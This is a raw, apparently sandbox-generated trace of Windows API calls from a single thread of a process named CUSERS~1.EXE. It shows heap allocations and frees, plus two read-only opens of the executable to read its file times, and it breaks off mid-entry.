[0075.554] GetCurrentThreadId () returned 0x9b0 [0075.554] GetCurrentThreadId () returned 0x9b0 [0075.554] GetCurrentThreadId () returned 0x9b0 [0075.554] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0075.554] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0075.554] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.554] GetCurrentThreadId () returned 0x9b0 [0075.554] GetCurrentThreadId () returned 0x9b0 [0075.554] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.554] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.554] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0075.554] GetCurrentThreadId () returned 0x9b0 [0075.555] GetCurrentThreadId () returned 0x9b0 [0075.555] GetCurrentThreadId () returned 0x9b0 [0075.555] GetCurrentThreadId () returned 0x9b0 [0075.555] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de810 [0075.555] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de810 | out: hHeap=0x2ad0000) returned 1 [0075.555] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de6f8 [0075.555] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31de6f8, Size=0x18) returned 0x3183c00 [0075.555] GetCurrentThreadId () returned 0x9b0 [0075.555] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183c00 | out: hHeap=0x2ad0000) returned 1 [0075.555] GetCurrentThreadId () returned 0x9b0 [0075.555] GetCurrentThreadId () returned 0x9b0 [0075.555] GetCurrentThreadId () returned 0x9b0 [0075.555] GetCurrentThreadId () returned 0x9b0 [0075.555] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0075.555] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0075.555] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.555] GetCurrentThreadId () returned 0x9b0 [0075.555] GetCurrentThreadId () returned 0x9b0 [0075.555] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.555] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0075.555] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.555] GetCurrentThreadId () returned 0x9b0 [0075.555] GetCurrentThreadId () returned 0x9b0 [0075.556] GetCurrentThreadId () returned 0x9b0 [0075.556] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de7d8 [0075.556] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de7d8 | out: hHeap=0x2ad0000) returned 1 [0075.556] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de848 [0075.556] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31de848, Size=0x18) returned 0x3183aa0 [0075.556] GetCurrentThreadId () returned 0x9b0 [0075.556] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183aa0 | out: hHeap=0x2ad0000) returned 1 [0075.556] GetCurrentThreadId () returned 0x9b0 [0075.556] GetCurrentThreadId () returned 0x9b0 [0075.556] GetCurrentThreadId () returned 0x9b0 [0075.556] GetCurrentThreadId () returned 0x9b0 [0075.556] GetCurrentThreadId () returned 0x9b0 [0075.556] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.556] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0075.556] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0075.556] GetCurrentThreadId () returned 0x9b0 [0075.556] GetCurrentThreadId () returned 0x9b0 [0075.556] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0075.556] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0075.556] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.556] GetCurrentThreadId () returned 0x9b0 [0075.556] GetCurrentThreadId () returned 0x9b0 [0075.557] GetCurrentThreadId () returned 0x9b0 [0075.557] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de6c0 [0075.557] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de6c0 | out: hHeap=0x2ad0000) returned 1 [0075.557] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de6f8 [0075.557] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31de6f8, Size=0x18) returned 0x3183a40 [0075.557] GetCurrentThreadId () returned 0x9b0 [0075.557] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183a40 | out: hHeap=0x2ad0000) returned 1 [0075.558] GetCurrentThreadId () returned 0x9b0 [0075.558] GetCurrentThreadId () returned 0x9b0 [0075.558] GetCurrentThreadId () returned 0x9b0 [0075.558] GetCurrentThreadId () returned 0x9b0 [0075.558] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0075.558] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0075.558] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0075.558] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0075.558] GetCurrentThreadId () returned 0x9b0 [0075.558] GetCurrentThreadId () returned 0x9b0 [0075.558] GetCurrentThreadId () returned 0x9b0 [0075.558] GetCurrentThreadId () returned 0x9b0 [0075.558] GetCurrentThreadId () returned 0x9b0 [0075.558] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0075.558] GetCurrentThreadId () returned 0x9b0 [0075.558] GetCurrentThreadId () returned 0x9b0 [0075.558] GetLastError () returned 0x0 [0075.559] GetLastError () returned 0x0 [0075.559] GetLastError () returned 0x0 [0075.559] GetLastError () returned 0x0 [0075.559] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84248 | out: hHeap=0x2ad0000) returned 1 [0075.559] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32abaa0 [0075.559] GetLastError () returned 0x0 [0075.559] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9868, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0075.559] GetFileType (hFile=0x2f0) returned 0x1 [0075.559] GetLastError () returned 0x0 [0075.559] GetCurrentThreadId () returned 0x9b0 [0075.559] GetLastError () returned 0x0 [0075.559] GetFileType (hFile=0x2f0) returned 0x1 [0075.561] GetFileInformationByHandle (in: hFile=0x2f0, lpFileInformation=0x9b98e4 | out: lpFileInformation=0x9b98e4) returned 1 [0075.561] FileTimeToLocalFileTime (in: lpFileTime=0x9b98f8, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0075.561] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0075.561] FileTimeToLocalFileTime (in: lpFileTime=0x9b98f0, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0075.561] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0075.561] FileTimeToLocalFileTime (in: lpFileTime=0x9b98e8, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0075.561] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0075.561] GetLastError () returned 0x0 [0075.561] GetCurrentThreadId () returned 0x9b0 [0075.561] GetLastError () returned 0x0 [0075.561] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abaa0 | out: hHeap=0x2ad0000) returned 1 [0075.561] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20078 | out: hHeap=0x2ad0000) returned 1 [0075.561] GetLastError () returned 0x0 [0075.561] GetLastError () returned 0x0 [0075.562] GetCurrentThreadId () returned 0x9b0 [0075.562] GetLastError () returned 0x0 [0075.562] GetCurrentThreadId () returned 0x9b0 [0075.562] GetLastError () returned 0x0 [0075.562] GetLastError () returned 0x0 [0075.562] GetCurrentThreadId () returned 0x9b0 [0075.562] GetLastError () returned 0x0 [0075.562] GetCurrentThreadId () returned 0x9b0 [0075.562] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x7c3) returned 0x334e7b0 [0075.562] GetLastError () returned 0x0 [0075.562] GetLastError () returned 0x0 [0075.562] GetCurrentThreadId () returned 0x9b0 [0075.562] GetLastError () returned 0x0 [0075.562] GetCurrentThreadId () returned 0x9b0 [0075.562] GetLastError () returned 0x0 [0075.563] GetLastError () returned 0x0 [0075.563] GetCurrentThreadId () returned 0x9b0 [0075.563] GetLastError () returned 0x0 [0075.563] GetCurrentThreadId () returned 0x9b0 [0075.563] GetLastError () returned 0x0 [0075.563] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc04b8 | out: hHeap=0x2ad0000) returned 1 [0075.563] CloseHandle (hObject=0x2f0) returned 1 [0075.563] GetLastError () returned 0x0 [0075.563] GetCurrentThreadId () returned 0x9b0 [0075.563] GetLastError () returned 0x0 [0075.563] GetLastError () returned 0x0 [0075.564] GetCurrentThreadId () returned 0x9b0 [0075.564] GetLastError () returned 0x0 [0075.564] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334ef80 | out: hHeap=0x2ad0000) returned 1 [0075.564] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x337c2b8, Size=0x167c) returned 0x337c2b8 [0075.564] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334e7b0 | out: hHeap=0x2ad0000) returned 1 [0075.564] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x6ae) returned 0x334e7b0 [0075.564] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84338 [0075.564] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84338, Size=0x20) returned 0x30282d8 [0075.564] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30282d8, Size=0x40) returned 0x2a193b8 [0075.564] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a193b8, Size=0x64) returned 0x2a197a8 [0075.564] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a197a8, Size=0x8c) returned 0x2ac03b8 [0075.564] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac03b8, Size=0xb8) returned 0x2cde128 [0075.564] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cde128, Size=0xe8) returned 0x325aa80 [0075.564] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x325aa80 | out: hHeap=0x2ad0000) returned 1 [0075.564] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x337c2b8 | out: hHeap=0x2ad0000) returned 1 [0075.565] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba40 [0075.565] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba40 | out: hHeap=0x2ad0000) returned 1 [0075.565] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e1b58 [0075.565] GetCurrentThreadId () returned 0x9b0 [0075.565] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.565] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0075.565] GetCurrentThreadId () returned 0x9b0 [0075.565] GetCurrentThreadId () returned 0x9b0 [0075.565] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.565] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0075.565] GetCurrentThreadId () returned 0x9b0 [0075.565] GetCurrentThreadId () returned 0x9b0 [0075.566] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.566] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0075.566] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.566] GetCurrentThreadId () returned 0x9b0 [0075.566] GetCurrentThreadId () returned 0x9b0 [0075.566] GetCurrentThreadId () returned 0x9b0 [0075.566] GetCurrentThreadId () returned 0x9b0 [0075.566] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de998 [0075.566] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de998 | out: hHeap=0x2ad0000) returned 1 [0075.566] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de688 [0075.566] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31de688, Size=0x18) returned 0x31838e0 [0075.566] GetCurrentThreadId () returned 0x9b0 [0075.566] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31838e0 | out: hHeap=0x2ad0000) returned 1 [0075.566] GetCurrentThreadId () returned 0x9b0 [0075.566] GetCurrentThreadId () returned 0x9b0 [0075.566] GetCurrentThreadId () returned 0x9b0 [0075.566] GetCurrentThreadId () returned 0x9b0 [0075.566] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.566] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0075.567] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0075.567] GetCurrentThreadId () returned 0x9b0 [0075.567] GetCurrentThreadId () returned 0x9b0 [0075.567] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.567] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0075.567] GetCurrentThreadId () returned 0x9b0 [0075.567] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abb50 [0075.567] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84338 [0075.567] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c842d8 [0075.567] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba40 [0075.567] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abae0 [0075.567] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32aba40, Size=0x14) returned 0x3183920 [0075.567] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abae0 | out: hHeap=0x2ad0000) returned 1 [0075.567] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c842d8 | out: hHeap=0x2ad0000) returned 1 [0075.567] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84338 | out: hHeap=0x2ad0000) returned 1 [0075.567] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb50 | out: hHeap=0x2ad0000) returned 1 [0075.567] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183920 | out: hHeap=0x2ad0000) returned 1 [0075.567] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba40 [0075.568] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba40 | out: hHeap=0x2ad0000) returned 1 [0075.568] GetCurrentThreadId () returned 0x9b0 [0075.568] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e19d0 [0075.568] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x32dcb78 [0075.568] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32e1b58 | out: hHeap=0x2ad0000) returned 1 [0075.568] GetCurrentThreadId () returned 0x9b0 [0075.568] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0075.568] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0075.568] GetCurrentThreadId () returned 0x9b0 [0075.568] GetCurrentThreadId () returned 0x9b0 [0075.568] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.568] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0075.568] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.569] GetCurrentThreadId () returned 0x9b0 [0075.569] GetCurrentThreadId () returned 0x9b0 [0075.569] GetCurrentThreadId () returned 0x9b0 [0075.569] GetCurrentThreadId () returned 0x9b0 [0075.569] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0075.569] GetCurrentThreadId () returned 0x9b0 [0075.569] GetCurrentThreadId () returned 0x9b0 [0075.569] GetCurrentThreadId () returned 0x9b0 [0075.569] GetLastError () returned 0x0 [0075.569] GetLastError () returned 0x0 [0075.569] GetLastError () returned 0x0 [0075.569] GetLastError () returned 0x0 [0075.569] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84248 | out: hHeap=0x2ad0000) returned 1 [0075.569] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32aba70 [0075.569] GetLastError () returned 0x0 [0075.569] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9868, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0075.570] GetFileType (hFile=0x2f0) returned 0x1 [0075.570] GetLastError () returned 0x0 [0075.570] GetCurrentThreadId () returned 0x9b0 [0075.570] GetLastError () returned 0x0 [0075.570] GetFileType (hFile=0x2f0) returned 0x1 [0075.570] GetFileInformationByHandle (in: hFile=0x2f0, lpFileInformation=0x9b98e4 | out: lpFileInformation=0x9b98e4) returned 1 [0075.570] FileTimeToLocalFileTime (in: lpFileTime=0x9b98f8, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0075.570] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0075.570] FileTimeToLocalFileTime (in: lpFileTime=0x9b98f0, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0075.570] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0075.570] FileTimeToLocalFileTime (in: lpFileTime=0x9b98e8, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0075.570] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0075.571] GetLastError () returned 0x0 [0075.571] GetCurrentThreadId () returned 0x9b0 [0075.571] GetLastError () returned 0x0 [0075.571] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba70 | out: hHeap=0x2ad0000) returned 1 [0075.571] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20138 | out: hHeap=0x2ad0000) returned 1 [0075.571] GetLastError () returned 0x0 [0075.571] GetLastError () returned 0x0 [0075.571] GetCurrentThreadId () returned 0x9b0 [0075.571] GetLastError () returned 0x0 [0075.571] GetCurrentThreadId () returned 0x9b0 [0075.571] GetLastError () returned 0x0 [0075.571] GetLastError () returned 0x0 [0075.571] GetCurrentThreadId () returned 0x9b0 [0075.571] GetLastError () returned 0x0 [0075.571] GetCurrentThreadId () returned 0x9b0 [0075.571] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x212) returned 0x334ee68 [0075.572] GetLastError () returned 0x0 [0075.572] GetLastError () returned 0x0 [0075.572] GetCurrentThreadId () returned 0x9b0 [0075.572] GetLastError () returned 0x0 [0075.572] GetCurrentThreadId () returned 0x9b0 [0075.572] GetLastError () returned 0x0 [0075.572] GetLastError () returned 0x0 [0075.572] GetCurrentThreadId () returned 0x9b0 [0075.572] GetLastError () returned 0x0 [0075.572] GetLastError () returned 0x0 [0075.572] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc64e8 | out: hHeap=0x2ad0000) returned 1 [0075.572] CloseHandle (hObject=0x2f0) returned 1 [0075.572] GetLastError () returned 0x0 [0075.572] GetCurrentThreadId () returned 0x9b0 [0075.572] GetLastError () returned 0x0 [0075.573] GetLastError () returned 0x0 [0075.573] GetCurrentThreadId () returned 0x9b0 [0075.573] GetLastError () returned 0x0 [0075.573] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334f088 | out: hHeap=0x2ad0000) returned 1 [0075.573] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x337c2b8, Size=0x3b8) returned 0x337c2b8 [0075.573] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334ee68 | out: hHeap=0x2ad0000) returned 1 [0075.573] GetCurrentThreadId () returned 0x9b0 [0075.573] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84398 [0075.573] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84398, Size=0x20) returned 0x30284e0 [0075.574] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30284e0, Size=0x40) returned 0x2a193b8 [0075.574] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a193b8 | out: hHeap=0x2ad0000) returned 1 [0075.574] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x337c2b8 | out: hHeap=0x2ad0000) returned 1 [0075.574] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba40 [0075.574] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba40 | out: hHeap=0x2ad0000) returned 1 [0075.574] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e1ff0 [0075.574] GetCurrentThreadId () returned 0x9b0 [0075.574] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0075.574] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0075.574] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.574] GetCurrentThreadId () returned 0x9b0 [0075.574] GetCurrentThreadId () returned 0x9b0 [0075.574] GetCurrentThreadId () returned 0x9b0 [0075.574] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de618 [0075.574] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de618 | out: hHeap=0x2ad0000) returned 1 [0075.574] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de928 [0075.574] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31de928, Size=0x18) returned 0x3183a20 [0075.574] GetCurrentThreadId () returned 0x9b0 [0075.574] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183a20 | out: hHeap=0x2ad0000) returned 1 [0075.575] GetCurrentThreadId () returned 0x9b0 [0075.575] GetCurrentThreadId () returned 0x9b0 [0075.575] GetCurrentThreadId () returned 0x9b0 [0075.575] GetCurrentThreadId () returned 0x9b0 [0075.575] GetCurrentThreadId () returned 0x9b0 [0075.575] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0075.575] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0075.575] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0075.575] GetCurrentThreadId () returned 0x9b0 [0075.575] GetCurrentThreadId () returned 0x9b0 [0075.575] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0075.575] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.575] GetCurrentThreadId () returned 0x9b0 [0075.575] GetCurrentThreadId () returned 0x9b0 [0075.575] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0075.576] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0075.576] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0075.576] GetCurrentThreadId () returned 0x9b0 [0075.576] GetCurrentThreadId () returned 0x9b0 [0075.576] GetCurrentThreadId () returned 0x9b0 [0075.576] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de6c0 [0075.576] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de6c0 | out: hHeap=0x2ad0000) returned 1 [0075.576] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de6f8 [0075.576] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31de6f8, Size=0x18) returned 0x3183900 [0075.576] GetCurrentThreadId () returned 0x9b0 [0075.576] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183900 | out: hHeap=0x2ad0000) returned 1 [0075.576] GetCurrentThreadId () returned 0x9b0 [0075.576] GetCurrentThreadId () returned 0x9b0 [0075.576] GetCurrentThreadId () returned 0x9b0 [0075.576] GetCurrentThreadId () returned 0x9b0 [0075.576] GetCurrentThreadId () returned 0x9b0 [0075.576] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0075.576] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0075.577] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0075.577] GetCurrentThreadId () returned 0x9b0 [0075.577] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84110 [0075.577] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84338 [0075.577] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84110 | out: hHeap=0x2ad0000) returned 1 [0075.577] RtlAllocateHeap 